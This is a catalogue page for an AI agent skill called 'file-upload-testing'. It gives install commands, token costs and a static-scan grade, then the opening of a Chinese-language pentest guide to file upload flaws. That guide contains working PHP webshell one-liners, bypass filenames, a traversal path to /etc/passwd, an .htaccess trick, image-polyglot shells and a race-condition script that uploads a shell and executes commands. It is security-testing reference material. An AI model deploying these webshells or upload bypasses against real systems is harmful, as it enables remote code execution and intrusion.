Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/liuxinye23/CyberStrikeAInpx agentmods add skills/liuxinye23/cyberstrikeai/file-upload-testingWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/liuxinye23/cyberstrikeai/file-upload-testing)<a href="https://agentmods.dev/skills/liuxinye23/cyberstrikeai/file-upload-testing"><img src="https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/file-upload-testing.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00014 | $0.01625 |
| Opus 5 | $0.00007 | $0.00813 |
| Sonnet 5 | $0.00003 | $0.00325 |
| Haiku 4.5 | $0.00001 | $0.00162 |
Grade B, and why
file-upload-testing scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
requests.post('http://target.com/upload', files=files) Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
requests.post('http://target.com/upload', files=files) How it starts
The opening of the file, as written. The whole thing — 328 lines — stays where its author put it; the contents beside it link to each section on GitHub.
文件上传漏洞测试
概述
文件上传功能是Web应用常见功能,但存在多种安全风险。本技能提供文件上传漏洞的检测、利用和防护方法。
漏洞类型
1. 未验证文件类型
仅前端验证:
// 可被绕过
if (!file.name.endsWith('.jpg')) {
alert('只允许上传图片');
}
2. 文件内容未验证
仅检查扩展名:
// 危险代码
if (pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'jpg') {
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
}
3. 路径遍历
未过滤文件名:
filename: ../../../etc/passwd
filename: ..\..\..\windows\system32\config\sam
4. 文件名覆盖
可预测的文件名:
uploads/1.jpg
uploads/2.jpg
测试方法
1. 基础检测
测试各种文件类型:
- .php, .jsp, .asp, .aspx
- .php3, .php4, .php5, .phtml
- .jspx, .jspf
- .htaccess, .htpasswd
测试双扩展名:
shell.php.jpg
shell.jpg.php
测试大小写:
shell.PHP
shell.PhP
2. 内容类型绕过
修改Content-Type:
Content-Type: image/jpeg
# 但文件内容是PHP代码
Magic Bytes:
// 在PHP代码前添加图片头
GIF89a<?php phpinfo(); ?>
3. 解析漏洞
Apache解析漏洞:
shell.php.xxx # Apache可能解析为PHP
IIS解析漏洞:
shell.asp;.jpg
shell.asp:.jpg
Nginx解析漏洞:
shell.jpg%00.php
4. 竞争条件
文件上传后立即访问:
# 上传.php文件,在上传完成但删除前访问
import requests
import threading
def upload():
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
requests.post('http://target.com/upload', files=files)
def access():
time.sleep(0.1)
requests.get('http://target.com/uploads/shell.php?cmd=id')
threading.Thread(target=upload).start()
threading.Thread(target=access).start()
利用技术
PHP WebShell
基础WebShell:
<?php system($_GET['cmd']); ?>
一句话木马:
<?php eval($_POST['a']); ?>
绕过过滤:
<?php
$_GET['cmd']($_POST['a']);
// 使用: ?cmd=system
.htaccess利用
上传.htaccess:
AddType application/x-httpd-php .jpg
然后上传shell.jpg(实际是PHP代码)
图片马
GIF图片马:
GIF89a
<?php
phpinfo();
?>
PNG图片马:
# 使用工具将PHP代码嵌入PNG
python3 png2php.py shell.php shell.png
文件包含配合
如果存在文件包含漏洞:
# 上传包含PHP代码的图片
# 然后通过文件包含执行
?file=uploads/shell.jpg
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 328 lines · 14 tokens per session scan B 9df46583e6dd
file-upload-testing is a skill published in the GitHub repository liuxinye23/CyberStrikeAI (0 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 14 tokens to every session and 1,625 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it B with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other skills, from other repositories
research-engineer
An uncompromising Academic Research Engineer. Operates with absolute scientific rigor, objective criticism, and zero flair. Focuses on theoretical correctness, formal verification, and optimal implementation across any required technology.
tika-eval-compare
Compare extracts from two Tika builds over a corpus to detect regressions in content, encoding, exceptions, and embedded-document handling. Use for "compare before/after extracts", "eval this change against the corpus".
neuron-evaluation-engineer
Create and run AI evaluations with datasets, assertions, and output drivers in Neuron AI. Use this skill whenever the user mentions evaluation, testing AI systems, creating evaluators, dataset-driven testing, assertion-based validation, or wants to measure AI system performance. Also trigger for tasks involving…
jetson-validate-image
Use after jetson-flash-image to run static BSP checks, on-target smoke/regression tests on a flashed DUT, or both. Not for build or flash steps. Triggers: validate bsp, on-target validation.
atmos-validation
Validate Atmos projects, components, arbitrary JSON Schema inputs, EditorConfig, and GitHub Actions; use affected-file selection and native CI annotations.
skill-benchmark
Benchmark AI skill effectiveness by measuring implementation quality against legacy constraints.